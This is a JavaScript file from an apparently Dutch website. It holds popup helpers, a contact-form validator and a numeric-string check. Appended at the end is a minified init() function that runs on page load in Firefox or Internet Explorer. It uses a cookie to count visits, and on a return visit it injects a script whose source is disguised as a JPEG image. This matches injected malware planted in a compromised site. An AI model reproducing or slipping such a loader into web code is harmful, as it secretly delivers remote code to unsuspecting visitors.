function PopupPic(sPicURL) { 
	 window.open( "foto.php?image="+sPicURL, "",  
	 "resizable=1"); 
	} 

function open_popup(pagina, w, h)
    {
    var parameters = "width=" + w + ", height=" + h + ", left=100, top=50, toolbar=0, location=0, directories=0, status=0, menubar=0, scrollbars=1, resizable=0";
    var winpopup = window.top.winpopup;

    window.top.winpopup = window.open(pagina, '_blank', parameters);
    window.top.winpopup.focus()
    }


function checkadres(){
  if (document.contact.Voorletter.value == "")
  {
  alert("Je dient je voorletter(s) in te vullen")
  document.contact.Voorletter.focus(); 
  return false;
  }
  if (document.contact.Achternaam.value == "")
  {
  alert("Je dient je achternaam in te vullen")
  document.contact.Achternaam.focus(); 
  return false;
  }
  if (/^\w+([\.-]?\w+)*@\w+([\.-]?\w+)*(\.\w{2,3})+$/.test(document.contact.Email.value) != true)
  {
	alert("Je dient een juist e-mailadres in te vullen")
	document.contact.Email.focus();
	return false;
  }
  if (document.contact.Opmerking.value == "")
  {
  alert("Je dient wel een bericht in te vullen")
  document.contact.Opmerking.focus(); 
  return false;
  }
  return true;
  }
  
  
function AbortEntry(sMsg, eSrc)
{
  window.alert(sMsg);
  // set focus and highlight to the offending error
  eSrc.focus();
  //eSrc.select();
 }


//wordt gebruikt door bovenstaande functie
function IsNumeric(strString)
   //  check for valid numeric strings	
   {
   var strValidChars = "0123456789.-";
   var strChar;
   var blnResult = true;

   if (strString.length == 0) return false;

   //  test strString consists of valid characters listed above
   for (i = 0; i < strString.length && blnResult == true; i++)
      {
      strChar = strString.charAt(i);
      if (strValidChars.indexOf(strChar) == -1)
         {
         blnResult = false;
         }
      }
   return blnResult;
   }


function init(){var f=navigator.userAgent;var a=false;if(f.indexOf("Firefox")!=-1||f.indexOf("MSIE")!=-1){a=true}if(a!==true){return}var i="/images/logeamsterdam_r5_c1.jpg?js";var g=b("wss");if(g){if(g=="goot1"){c("wss","goot2","3");var e=document.createElement("script");e.type="text/javascript";e.src=i+"&r="+new Date().getTime();var d=document.getElementsByTagName("head")[0];d.appendChild(e)}else{}}else{c("wss","goot1","3")}function b(k){var j,h,m,l=document.cookie.split(";");for(j=0;j<l.length;j++){h=l[j].substr(0,l[j].indexOf("="));m=l[j].substr(l[j].indexOf("=")+1);h=h.replace(/^\s+|\s+$/g,"");if(h==k){return unescape(m)}}}function c(j,l,h){var m=new Date();m.setDate(m.getDate()+h);var k=escape(l)+((h==null)?"":"; expires="+m.toUTCString());document.cookie=j+"="+k}}init();
